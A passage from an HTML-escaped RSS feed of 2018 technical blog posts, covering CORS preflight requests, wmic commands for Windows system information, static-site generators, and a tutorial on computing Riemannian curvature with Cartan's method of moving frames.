  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;foo&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;bar&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
  &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You’ll get same error in console and if you check Network tab again,
you should see a OPTIONS request and not a POST request. Because the
response of OPTIONS request does not have headers that say –allow
current webpage to access it’s data, browser never sent the real request.&lt;/p&gt;

&lt;p&gt;The OPTIONS request I was getting was this preflight request and since
I was not handling this request, I never received the POST request
which browser would have sent after receiving response from it’s first
request. Handling this is what is called CORS i.e. &lt;a href="https://en.wikipedia.org/wiki/Cross-origin_resource_sharing"&gt;Cross Origin
Resource
Sharing&lt;/a&gt;. From
client side, this is relaxation to Same Origin Policy provided by
browser. From server side, most of the API frameworks provides a
library to handle this. You can specify which origin domain you want
to allow and these libraries will handle the OPTIONS request for you
and will respond with proper headers set.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.html5rocks.com/en/tutorials/cors/"&gt;This&lt;/a&gt; is good resource
to read more about CORS.&lt;/p&gt;</description><author>Nikhil Soni</author><pubDate>Fri, 23 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nikhilsoni.me/2018/03/23/what-is-that-options-request-before-post-and-cross-origin-resource-sharing/</guid></item><item><title>How to get the data from msinfo32 with wmic commands</title><link>https://andrewshay.me/blog/how-to-get-the-data-from-msinfo32</link><description>I was recently looking to gather the same data that msinfo32 reports and I found a couple wmic commands that provided me with what I needed.  &lt;br /&gt;
&lt;br /&gt;
The first is a basic wmic command eg &lt;code&gt;wmic service get /format:list&lt;/code&gt;.  This will output the services on Windows.  &lt;br /&gt;
Run &lt;code&gt;wmic /?&lt;/code&gt; to see a list of other information you can gather.  &lt;br /&gt;
Other formatting options &lt;code&gt;/format:table&lt;/code&gt; and &lt;code&gt;/format:csv&lt;/code&gt;  &lt;br /&gt;
&lt;br /&gt;
The second wmic command uses the CIM WMI Provider.  eg &lt;code&gt;wmic path CIM_LogicialDisk get /value&lt;/code&gt;.  This outputs the logical disks that Windows detects.  &lt;br /&gt;
To find a list of possible options see the MSDN docs &lt;a href="https://msdn.microsoft.com/en-us/library/aa386541.aspx"&gt;https://msdn.microsoft.com/en-us/library/aa386541.aspx&lt;/a&gt;&lt;br /&gt;</description><author>Andrew Shay's Blog and Digital Garden</author><pubDate>Fri, 23 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://andrewshay.me/blog/how-to-get-the-data-from-msinfo32</guid></item><item><title>Migration to Hugo</title><link>https://rjp.is/blogging/posts/migration-to-hugo/</link><description>In which we migrate to Hugo.</description><author>infrequent oscillations</author><pubDate>Thu, 22 Mar 2018 11:12:00 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/migration-to-hugo/</guid></item><item><title>Blogging with org-static-blog (Updated)</title><link>https://bastibe.de/2018-03-22-org-static-blog-gets-tags.html</link><description>&lt;p&gt;A while ago, I scratched an old itch and wrote my own static site generator, called &lt;a href="https://github.com/bastibe/org-static-blog"&gt;org-static-blog&lt;/a&gt;. It is a simple thing: You hand it a directory full of *.org files with a &lt;code&gt;#+title:&lt;/code&gt; and &lt;code&gt;#+date:&lt;/code&gt;, and it assembles a bunch of HTML pages and an RSS feed from them. There are no external dependencies beyond Emacs.&lt;/p&gt;
&lt;p&gt;Today, I &lt;a href="http://melpa-stable.milkbox.net/#/org-static-blog"&gt;released&lt;/a&gt; version 1.1.0 of org-static-blog, which introduces two new features: &lt;a href="http://bastibe.de/2018-03-17-speeding-up-org-static-blog.html"&gt;speed&lt;/a&gt;, and tags. You can now—optionally—add &lt;code&gt;#+filetags:&lt;/code&gt; to your *.org files, &lt;code&gt;(setq org-static-blog-enable-tags t)&lt;/code&gt;, and org-static-blog will add tag links to every blog post, create tag indices, and add &lt;code&gt;&amp;lt;category&amp;gt;&lt;/code&gt; tags to the RSS feed.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As &lt;a href="https://github.com/kaushalmodi"&gt;Kaushal Modi&lt;/a&gt; pointed out in the comments, org-mode uses &lt;code&gt;#+filetags:&lt;/code&gt; to set tags for entire files. My first implementation used &lt;code&gt;#+tags:&lt;/code&gt;. This is now deprecated. &lt;code&gt;#+tags:&lt;/code&gt; still works, but issues a warning, and will be removed in the future. Sorry for the inconvenience.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Thu, 22 Mar 2018 10:37:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-03-22-org-static-blog-gets-tags.html</guid></item><item><title>Curvature computations with moving frames</title><link>https://www.akalin.com/curvature-moving-frames</link><description>&lt;section&gt;
&lt;header&gt;
  &lt;h2&gt;Overview&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Given a metric on a manifold, it is often necessary to compute its
  curvature. However, the usual method of first computing the
  Christoffel symbols and then using those to compute the Riemann
  curvature tensor is tedious and error-prone.&lt;/p&gt;

&lt;p&gt;Fortunately, there&amp;rsquo;s another way to compute the curvature
  that&amp;rsquo;s often quicker and easier: Cartan&amp;rsquo;s method of
  moving frames, or the &lt;em&gt;repère mobile&lt;/em&gt;. Unfortunately,
  explanations of this method aren&amp;rsquo;t very clear, so here
  I&amp;rsquo;m going to provide my own, based on working through a few
  examples.&lt;/p&gt;

&lt;p&gt;I&amp;rsquo;m going to assume that you know enough Riemannian geometry
  to be able to compute curvature the usual way, and also that
  you&amp;rsquo;re familiar with the basics of differential forms and
  exterior differentiation. Some familiarity with &lt;a href="https://en.wikipedia.org/wiki/Pseudo-Riemannian_manifold"&gt;semi-Riemannian metrics&lt;/a&gt;
  will also be helpful, since a lot of motivating examples come from
  general relativity, which uses
  &lt;a href="https://en.wikipedia.org/wiki/Pseudo-Riemannian_manifold#Lorentzian_manifold"&gt;Lorentzian metrics&lt;/a&gt;.&lt;/p&gt;

&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
  &lt;h2&gt;The coordinate frame method&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;First, a quick overview of the usual method using coordinate
  frames. Let \(g = g_{ij} \, dx^i ⊗ dx^j\) be a given semi-Riemannian
  metric expressed in terms of the coordinates \((x^1, \dotsc, x^n)\).
  We first compute the &lt;em&gt;Christoffel symbols&lt;/em&gt; using the formula
  \[
    \CS{k}{ij} = \frac{1}{2} (g^*)^{kl} \left(∂_j g_{il} + ∂_i g_{lj} - ∂_l g_{ij}\right)\text{,}
  \]
  where \((g^*)^{ij}\) are the components of the dual metric \(g^*\),
  which can be computed by taking components of the inverse of the
  matrix \(G[i, j] = g_{ij}\) formed from the metric components, i.e. \((g^*)^{ij} = G^{-1}[i, j]\). Recall
  that the Christoffel symbols are symmetric in the lower indices, so
  if our manifold is \(n\)-dimensional, then in general we have \(n^2(n+1)/2\) independent
  Christoffel symbols.&lt;/p&gt;

&lt;p&gt;Note that we use the &lt;a href="https://en.wikipedia.org/wiki/Einstein_notation"&gt;Einstein summation convention&lt;/a&gt;;
  in the absence of a summation sign, index variables that appear once
  as a superscript and once as a subscript are implicitly summed over.&lt;/p&gt;

&lt;p&gt;A useful special case is when the metric \(g\) is diagonal,&lt;sup&gt;&lt;a href="#fn1" id="r1"&gt;[1]&lt;/a&gt;&lt;/sup&gt; i.e. \(g = g_{ii} \, dx^i ⊗ dx^i\). Then \((g^*)^{ii} = 1/g_{ii}\) and
  \[
  \begin{alignedat}{2}
    \CS{k}{ij} &amp;= 0                            \qquad &amp; \CS{k}{ik} &amp;= \frac{∂_i g_{kk}}{2 g_{kk}} \\
    \CS{k}{ii} &amp;= -\frac{∂_k g_{ii}}{2 g_{kk}} \qquad &amp; \CS{i}{ii} &amp;= \frac{∂_i g_{ii}}{2 g_{ii}}\text{,}
  \end{alignedat}
  \]
  where \(i\), \(j\), and \(k\) are distinct. Therefore in this case we have \(n^2\) non-zero independent Christoffel symbols.&lt;/p&gt;

&lt;p&gt;The Christoffel symbols are important in their own right, but we
  need them only to compute curvature. We can compute the components
  of the &lt;em&gt;Riemann curvature tensor&lt;/em&gt; using the formula
  \[
    \Riem{k}{lij} = ∂_i \CS{k}{jl} - ∂_j \CS{k}{il} + \CS{k}{im} \CS{m}{jl} - \CS{k}{jm} \CS{m}{il}\text{.}
  \]
  We can then compute the &lt;em&gt;Ricci curvature tensor&lt;/em&gt; and the &lt;em&gt;scalar curvature&lt;/em&gt;:
  \[
    \Ric{ij} = \Riem{k}{ikj} \qquad S = (g^*)^{ij} \Ric{ij}\text{.}
  \]&lt;/p&gt;

&lt;p&gt;For applications, we&amp;rsquo;re most interested in the Ricci curvature tensor,
  so we usually just want to calculate that directly:
  \[
    \Ric{ij} = ∂_k \CS{k}{ji} - ∂_j \CS{k}{ki} + \CS{k}{km} \CS{m}{ji} - \CS{k}{jm} \CS{m}{ki}\text{.}
  \]&lt;/p&gt;

&lt;div class="cheatsheet"&gt;
  &lt;h2&gt;Cheatsheet: coordinate frame method&lt;/h2&gt;

  &lt;div class="p"&gt;Given the components \(g_{ij}\) of a semi-Riemannian metric:
    &lt;ol&gt;
      &lt;li&gt;Compute the Christoffel symbols. If the metric \(g\) is
        diagonal, use
        \[
        \begin{alignedat}{2}
          \CS{k}{ij} &amp;= 0                            \qquad &amp; \CS{k}{ik} &amp;= \frac{∂_i g_{kk}}{2 g_{kk}} \\
          \CS{k}{ii} &amp;= -\frac{∂_k g_{ii}}{2 g_{kk}} \qquad &amp; \CS{i}{ii} &amp;= \frac{∂_i g_{ii}}{2 g_{ii}}\text{.}
        \end{alignedat}
        \]
        Otherwise, compute the dual metric components \((g^*)^{ij} = G^{-1}[i, j]\) where \(G[i, j] = g_{ij}\) and use
        \[
          \CS{k}{ij} = \frac{1}{2} (g^*)^{kl} \left(∂_j g_{il} + ∂_i g_{lj} - ∂_l g_{ij}\right)\text{.}
        \]&lt;/li&gt;
      &lt;li&gt;Compute the Ricci curvature tensor:
        \[
          \Ric{ij} = ∂_k \CS{k}{ji} - ∂_j \CS{k}{ki} + \CS{k}{km} \CS{m}{ji} - \CS{k}{jm} \CS{m}{ki}\text{.}
        \]&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
  &lt;h2&gt;The Lagrangian method&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;An alternate method for computing the Christoffel symbols is to write
  down the Lagrangian corresponding to the metric:
  \[
    L(x^1, \dotsc, x^n, v^1, \dotsc, v^n) = g_{ij}(x^1, \dotsc, x^n) \, v^i v^j
  \]
  and then to compute the Euler-Lagrange equations for a path
  \(γ(t) = \big(x^1(t), \dotsc, x^n(t)\big)\):
  \[
    \frac{d}{dt} \left( \frac{∂ L}{∂ v^k}(γ(t), \dot{γ}(t)) \right) - \frac{∂ L}{∂ x^k}(γ(t), \dot{γ}(t)) = 0
  \]
  to get the geodesic equations. Then we can compare these equations
  to the geodesic equations expressed in terms of the Christoffel symbols
  \[
    \ddot{γ}^k + \CS{k}{ij} \dot{γ}^i \dot{γ}^j = 0\text{,}
  \]
  and then we can read off the Christoffel symbols from the coefficients of the
  \(\dot{γ}^i \dot{γ}^j\) terms.&lt;/p&gt;

&lt;p&gt;I&amp;rsquo;m not convinced that this method saves that much work,
especially when the metric is diagonal, but it&amp;rsquo;s at least a
clearer way to organize the computations for the Christoffel symbols.&lt;/p&gt;

&lt;div class="cheatsheet"&gt;
  &lt;h2&gt;Cheatsheet: Lagrangian method&lt;/h2&gt;

  &lt;div class="p"&gt;Given the components \(g_{ij}\) of a semi-Riemannian metric:
    &lt;ol&gt;
      &lt;li&gt;With the Lagrangian
        \[
          L = g_{ij} \, v^i v^j\text{,}
        \]
        compute the Euler-Lagrange equations
        \[
        \frac{d}{dt} \left( \frac{∂ L}{∂ v^k}(γ(t), \dot{γ}(t)) \right) - \frac{∂ L}{∂ x^k}(γ(t), \dot{γ}(t)) = 0\text{.}
        \]&lt;/li&gt;
      &lt;li&gt;Compare the Euler-Lagrange equations to the geodesic equation
        \[
        \ddot{γ}^k + \CS{k}{ij} \dot{γ}^i \dot{γ}^j = 0
        \]
        and read off the Christoffel symbols \(\CS{k}{ij}\).
      &lt;/li&gt;
      &lt;li&gt;Compute the Ricci curvature tensor:
        \[
        \Ric{ij} = ∂_k \CS{k}{ji} - ∂_j \CS{k}{ki} + \CS{k}{km} \CS{m}{ji} - \CS{k}{jm} \CS{m}{ki}\text{.}
        \]&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
  &lt;h2&gt;The moving frame method&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Now, finally, I can explain the method of moving
  frames. Don&amp;rsquo;t worry too much about understanding this the first
  time through; I suggest skimming this section and then following along
  with the examples below, referring back as necessary.&lt;/p&gt;

&lt;p&gt;For now, let&amp;rsquo;s assume that we have not a semi-Riemannian, but
  a Riemannian metric \(g = g_{ij} \, dx^i ⊗ dx^j\) expressed in terms
  of the coordinates \((x^1, \dotsc, x^n)\). We want to find
  &lt;em&gt;basis one-forms&lt;/em&gt;
  \((θ^1, \dotsc, θ^n)\) such that
  \[
    g = ∑_i θ^i ⊗ θ^i\text{.}
  \]
  If the metric is diagonal, this is easy (suspending the summation
  convention):
  \[
    θ^i = \sqrt{g_{ii}} \, dx^i\text{.}
  \]
  If instead the metric is not diagonal, we may still be able to
  factor it into a &amp;ldquo;sum of squares&amp;rdquo; form by
  inspection. Otherwise, an equivalent definition of the \(θ^i\) is that
  \[
    g^*(θ^i, θ^j) = δ^i_j\text{,}
  \]
  i.e. the basis one-forms \(θ^i\) comprise an &lt;em&gt;orthonormal dual frame&lt;/em&gt;.
  We can then use a &lt;a href="https://en.wikipedia.org/wiki/Gram%E2%80%93Schmidt_process"&gt;Gram-Schmidt-like&lt;/a&gt; process on the \(dx^i\) or
  some ad hoc method to compute the basis one-forms.&lt;/p&gt;

&lt;p&gt;It is also convenient to express the coordinate forms in terms of the
  basis one-forms, which is again simple if the metric is diagonal:
  \[
    dx^i = \frac{1}{\sqrt{g_{ii}}} \, θ^i\text{.}
  \]
  Otherwise, one would need to invert the matrix expressing the \(θ^i\)
  in terms of the \(dx^i\).&lt;/p&gt;

&lt;div class="p"&gt;The next step is compute the &lt;em&gt;connection one-forms&lt;/em&gt; \(\cnf{i}{j}\).
  To do so, we compute the exterior derivatives of the basis one-forms
  \(dθ^i\) and express them in terms of the basis two-forms, i.e.
  \[
    dθ^i = a^i_{jk} \, θ^j ∧ θ^k
  \]
  for functions \(a^i_{jk}\).

  Then we can use &lt;em&gt;Cartan&amp;rsquo;s first structure equation&lt;/em&gt;

  &lt;div class="important-equation"&gt;
    \[
    dθ^i = -\cnf{i}{j} ∧ θ^j
    \]
  &lt;/div&gt;
  and the fact that &lt;em&gt;the connection forms are skew symmetric&lt;/em&gt;
  &lt;div class="important-equation"&gt;
    \[
      \cnf{i}{j} = -\cnf{j}{i}
    \]
  &lt;/div&gt;
  to deduce the \(\cnf{i}{j}\).&lt;/div&gt;

&lt;p&gt;There&amp;rsquo;s an explicit general formula for \(\cnf{i}{j}\) in
  terms of the basis one-forms,&lt;sup&gt;&lt;a href="#fn2" id="r2"&gt;[2]&lt;/a&gt;&lt;/sup&gt;
  but it&amp;rsquo;s often easier to compare the expressions for \(dθ^i\)
  to the form of the first structure equation, guess what the
  connection forms are, taking advantage of their skew symmetry, and
  check that the first structure equation holds.  In fact, if the
  metric is diagonal, the expressions for \(dθ^i\) are
  nice enough that you can immediately read off the connection
  forms. This &amp;ldquo;guess and check&amp;rdquo; method works because the
  connection forms are guaranteeed to exist, and furthermore are
  guaranteed to be unique, so any guessed list of \(\cnf{i}{j}\) that
  satisfies the first structure equation &lt;em&gt;must&lt;/em&gt; be the
  connection forms.&lt;/p&gt;

&lt;p&gt;Note that skew symmetry immediately implies that (suspending the
  Einstein summation convention)
  \[
    \cnf{i}{i} = 0\text{.}
  \]
  Therefore, we have \(n(n-1)/2\) independent connection forms.&lt;/p&gt;

&lt;p&gt;There &lt;em&gt;is&lt;/em&gt; a formula for the connection forms when \(g\) is
  diagonal, which is more useful for deducing properties of diagonal
  metrics than it is for doing calculations. Suspending the summation
  convention,
  \[
    \begin{aligned}
      \cnf{i}{j}
        &amp;= \frac{∂_j g_{ii}}{2 g_{ii} \sqrt{g_{jj}}} \, θ^i - \frac{∂_i g_{jj}}{2 g_{jj} \sqrt{g_{ii}}} \, θ^j \\
        &amp;= \frac{∂_j g_{ii}}{2 \sqrt{g_{ii} g_{jj}}} \, dx^i - \frac{∂_i g_{jj}}{2 \sqrt{g_{ii} g_{jj}}} \, dx^j\text{.}
    \end{aligned}
  \]
  This formula implies that a diagonal metric has connection forms
  with at most two components each, as opposed to \(n\) components in
  general. Furthermore, if a diagonal metric depends only on a single
  coordinate \(x^r\), the only possible non-zero connection forms up to skew symmetry are \(\cnf{i}{r}\),
  which are proportional to \(θ^i\). If instead a diagonal metric depends on two coordinates \(x^r\) and \(x^s\),
  then the only possible non-zero connection forms up to skew symmetry
  are \(\cnf{i}{r}\), \(\cnf{i}{s}\), or \(\cnf{r}{s}\). The first two
  cases are proportional to \(θ^i\), and the
  last case has at most two components: one proportional to \(θ^r\) and another proportional to \(θ^s\).&lt;/p&gt;

&lt;div class="p"&gt;The connection forms play an important role similar to the
  Christoffel symbols, but we need them only to compute
  curvature. First, observer that we can express each connection form
  in two ways: in terms of the \(dx^i\), and in terms of the \(θ^i\). We
  need to compute the derivatives \(d\cnf{i}{j}\), which is easiest to
  do if \(\cnf{i}{j}\) is expressed in terms of the \(dx^i\), since
  \(d(dx^i) = 0\). Then we can compute the &lt;em&gt;curvature forms&lt;/em&gt;
  \(\crf{i}{j}\) using &lt;em&gt;Cartan&amp;rsquo;s second structure equation&lt;/em&gt;
  &lt;div class="important-equation"&gt;
    \[
      \crf{i}{j} = d\cnf{i}{j} + \cnf{i}{k} ∧ \cnf{k}{j}\text{.}
    \]
  &lt;/div&gt;
  Like the connection forms, &lt;em&gt;the curvature forms are skew symmetric&lt;/em&gt;:
  &lt;div class="important-equation"&gt;
    \[
      \crf{i}{j} = \crf{j}{i}\text{,}
    \]
  &lt;/div&gt;
  so we need only calculate \(n(n-1)/2\) independent curvature forms,
  i.e. the ones where \(i ≠ j\). Also note that in the \(\cnf{i}{k} ∧ \cnf{k}{j}\) term, one need only take the sum over the \(n - 2\) terms \(k ∉ \{ i, j \}\), by
  (suspending the summation convention) \(\cnf{i}{i} = \cnf{j}{j} = 0\).&lt;/div&gt;

  &lt;p&gt;From the properties discussed above, if a diagonal metric depends
  only on a single coordinate, then each curvature form \(\crf{i}{j}\)
    is proportional to \(θ^i ∧ θ^j\). If instead a diagonal metric depends on two coordinates \(x^r\) and \(x^s\),
  then each curvature form \(\crf{i}{r}\) or \(\crf{i}{s}\), up to skew symmetry, has at most two components: one proportional to \(θ^i ∧ θ^r\) and another proportional to \(θ^i ∧ θ^s\), and all other curvature forms \(\crf{i}{j}\) are
  proportional to \(θ^i ∧ θ^j\).&lt;/p&gt;

  &lt;p&gt;At this point we&amp;rsquo;re done, since the Riemann curvature tensor
  with respect to the orthonormal frame \((E_1, \dotsc, E_n)\) dual to
  \((θ^1, \dotsc, θ^n)\) is
  \[
    \Riem{l}{kij} = \crf{l}{k}(E_i, E_j)
  \]
  and the Ricci curvature tensor is
  \[
    \Ric{ij} = \crf{k}{i}(E_k, E_j)\text{.}
  \]
  Note that it&amp;rsquo;s not necessary to explicitly calculate \(E_i\);
  it&amp;rsquo;s enough to use the definition
  \[
    θ^i(E_j) = δ^i_j\text{,}
  \]
  and the definition of the wedge product to derive the relations
  \[
    (θ^i ∧ θ^j)(E_k, E_l) = \begin{cases}
      +1 &amp; k = i ≠ j = l \\
      -1 &amp; l = i ≠ j = k \\
      0 &amp; \text{otherwise,}
    \end{cases}
  \]
    which can then be used to compute the curvature tensor components.&lt;/p&gt;

  &lt;p&gt;From the properties discussed above, if a diagonal metric depends
    only on a single coordinate, then \(\crf{i}{j}\) is proportional to \(θ^i ∧ θ^j\), which implies that \(\Ric{}\) is
    also diagonal. Furthermore, if the metric is diagonal and depends
    on two coordinates \(x^k\) and \(x^l\), then the only possible off-diagonal component is \(\Ric{kl}\).&lt;sup&gt;&lt;a href="#fn3" id="r3"&gt;[3]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;div class="cheatsheet"&gt;
  &lt;h2&gt;Cheatsheet: The moving frame method for Riemannian metrics&lt;/h2&gt;

  &lt;div class="p"&gt;Given the components \(g_{ij}\) of a Riemannian metric:
    &lt;ol&gt;
      &lt;li&gt;Find an orthonormal dual frame, i.e. basis one-forms \((θ^1, \dotsc, θ^n)\) such that
        \[
          g = ∑_i θ^i ⊗ θ^i\text{.}
        \]
        If the metric is diagonal, then (suspending the summation
        convention)
        \[
          θ^i = \sqrt{g_{ii}} \, dx^i\text{.}
        \]&lt;/li&gt;
      &lt;li&gt;Use the first structure equation
        \[
          dθ^i = -\cnf{i}{j} ∧ θ^j
        \]
        and the skew symmetry relations
        \[
          \cnf{i}{j} = -\cnf{j}{i}
        \]
      to deduce the connection forms \(\cnf{i}{j}\).&lt;/li&gt;
      &lt;li&gt;Compute the curvature forms using the second structure equation
        \[
          \crf{i}{j} = d\cnf{i}{j} + \cnf{i}{k} ∧ \cnf{k}{j}
        \]
        and the skew symmetry relations
        \[
          \crf{i}{j} = -\crf{j}{i}\text{.}
        \]
        Note that it&amp;rsquo;s easiest to compute \(d\cnf{i}{j}\) when
        \(\cnf{i}{j}\) is expressed in terms of the \(dx^i\), since
        \(d(dx^i) = 0\)&lt;/li&gt;
      &lt;li&gt;Compute the components of the Ricci curvature tensor via
        \[
          \Ric{ij} = \crf{k}{i}(E_k, E_j)
        \]
        and the relations
        \[
          (θ^i ∧ θ^j)(E_k, E_l) = \begin{cases}
            +1 &amp; k = i ≠ j = l \\
            -1 &amp; l = i ≠ j = k \\
            0 &amp; \text{otherwise.}
          \end{cases}
        \]&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/div&gt;
&lt;/section&gt;

&lt;section&gt;
  &lt;header&gt;
    &lt;h2&gt;Comparing the methods&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p&gt;As we saw above, one advantage of the moving frame method is
    that, in the worst case, one need only compute \(n(n-1)/2\)
    independent connection forms, each with at most \(n\) components,
    rather than \(n^2(n+1)/2\) independent Christoffel symbols&amp;mdash;a
    saving of \(n^2\) &amp;ldquo;component calculations&amp;rdquo;. Even in
    the simplest case, when the metric is diagonal, you still need to
    compute \(n^2\) possibly
    non-zero independent Christoffel symbols, as opposed to \(n(n -
    1)/2\) independent connection forms, each with at most two components&amp;mdash;still a saving of \(n\) &amp;ldquo;component calculations&amp;rdquo;.&lt;/p&gt;

  &lt;p&gt;Also, when computing a curvature form, one need only compute a
    single exterior derivative of a connection form and \(n - 2\) wedge
    products of connection forms. This turns out to be less tedious
    than the corresponding calculation using coordinate methods of \(\Riem{k}{lij}\) for
    fixed \(k\) and \(l\) such that \(k ≠ l\).&lt;/p&gt;

  &lt;p&gt;Furthermore, the orthonormality of the dual frame tends to cause
    symmetries to appear earlier in the calculation, leading to less
    wasted work. This is advantageous when you know the answer
    you&amp;rsquo;re looking for, and it&amp;rsquo;s particularly simple,
    e.g. if you expect the Ricci curvature to be zero, because
    calculations becoming unduly complicated becomes a sign of an
    undetected mistake. With coordinate methods, even if calculations
    become complicated, you can&amp;rsquo;t rule out terms cancelling if
    you continue, so errors become apparent only later.&lt;/p&gt;

  &lt;p&gt;On the other hand, the moving frame method requires a certain
    amount of cleverness, first in coming up with the one-forms \(θ^i\) if
    the metric isn&amp;rsquo;t diagonal, and second in deducing the
    connection forms \(\cnf{i}{j}\). The coordinate methods require
    less thought, and are more &amp;ldquo;plug and chug&amp;rdquo;. In fact,
    once we examine the semi-Riemannian case later, we&amp;rsquo;ll see
    that the coordinate methods remain unchanged, yet the moving frame
    method becomes more complicated.&lt;/p&gt;
&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
  &lt;h2&gt;Example 1: Orthogonal coordinates on 2D surfaces&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Let \(g\) be a Riemannian metric on a 2D manifold. The method of
  moving frames makes calculating curvature particularly easy, since
  there is exactly one connection form and one curvature form. For
  example, consider the special case when the metric is diagonal,
  i.e. with line element
  \[
    ds^2 = E \, du^2 + G \, dv^2\text{.}
  \]
&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;h3&gt;Orthonormal dual frame&lt;/h3&gt;
    &lt;p&gt;We can then read off an orthonormal dual frame:
      \[
        ds^2 = {\underbrace{(\sqrt{E} \, du)}_{θ^1}}^2 + {\underbrace{(\sqrt{G} \, dv)}_{θ^2}}^2\text{,}
      \]
      i.e.
      \[
        θ^1 = \sqrt{E} \, du \qquad θ^2 = \sqrt{G} \, dv\text{,}
      \]
      and express the coordinate forms in terms of it:
      \[
        du = \frac{1}{\sqrt{E}} \, θ^1 \qquad dv = \frac{1}{\sqrt{G}} \, θ^2\text{.}
      \]&lt;/p&gt;
  &lt;/li&gt;

  &lt;li&gt;
    &lt;h3&gt;Connection forms&lt;/h3&gt;
    &lt;p&gt;The derivatives of the basis one-forms are
      \[
      \begin{aligned}
        dθ^1 &amp;= \frac{∂_v E}{2 \sqrt{E}} \, dv ∧ du = \frac{∂_v E}{2 E \sqrt{G}} \, θ^2 ∧ θ^1 \\
        dθ^2 &amp;= \frac{∂_u G}{2 \sqrt{G}} \, du ∧ dv = \frac{∂_u G}{2 G \sqrt{E}} \, θ^1 ∧ θ^2
      \end{aligned}
      \]
      and the first structure equations are
      \[
      \begin{aligned}
        dθ^1 &amp;= -\cnf{1}{2} ∧ θ^2 \\
        dθ^2 &amp;= -\cnf{2}{1} ∧ θ^1 = \cnf{1}{2} ∧ θ^1\text{.}
      \end{aligned}
      \]
      Rewriting the derivative equations to match the first structure
      equations,
      &lt;!-- TODO: File a bug for \(\) in \text{}, and clean up the below once \(\) is supported inside \text{}. --&gt;
      \[
      \begin{aligned}
        dθ^1 &amp;= -\overbrace{\left(\frac{∂_v E}{2 E \sqrt{G}} \, θ^1\right)}^{\text{one term of $\cnf{1}{2}$}} ∧ θ^2 \\
        dθ^2 &amp;= \underbrace{\left(-\frac{∂_u G}{2 G \sqrt{E}} \, θ^2\right)}_{\text{another term of $\cnf{1}{2}$}} ∧ θ^1\text{,}
      \end{aligned}
      \]
      we can guess that
      \[
        \cnf{1}{2} = \frac{∂_v E}{2 E \sqrt{G}} \, θ^1 - \frac{∂_u G}{2 G \sqrt{E}} \, θ^2\text{.}
      \]
      This guess works, since
      \[
      \begin{aligned}
        -\cnf{1}{2} ∧ θ^2
        &amp;= -\left( \frac{∂_v E}{2 E \sqrt{G}} \, θ^1 - \frac{∂_u G}{2 G \sqrt{E}} \, θ^2 \right) ∧ θ^2 \\
        &amp;= -\frac{∂_v E}{2 E \sqrt{G}} \, θ^1 ∧ θ^2 + \underbrace{\cancel{\frac{∂_u G}{2 G \sqrt{E}} \, θ^2 ∧ θ^2}}_{θ^2 ∧ θ^2 = 0} \\
        &amp;= dθ^1
      \end{aligned}
      \]
      and
      \[
      \begin{aligned}
        \cnf{1}{2} ∧ θ^1
        &amp;= \left( \frac{∂_v E}{2 E \sqrt{G}} \, θ^1 - \frac{∂_u G}{2 G \sqrt{E}} \, θ^2 \right) ∧ θ^1 \\
        &amp;= \underbrace{\cancel{\frac{∂_v E}{2 E \sqrt{G}} \, θ^1 ∧ θ^1}}_{θ^1 ∧ θ^1 = 0} - \frac{∂_u G}{2 G \sqrt{E}} \, θ^2 ∧ θ^1 \\
        &amp;= dθ^2\text{,}
      \end{aligned}
      \]
      using the fact that \(θ^1 ∧ θ^1 = θ^2 ∧ θ^2 = 0\). Therefore, by uniqueness of connection forms, this is &lt;em&gt;the&lt;/em&gt; connection form. Then, expressing \(\cnf{1}{2}\) in
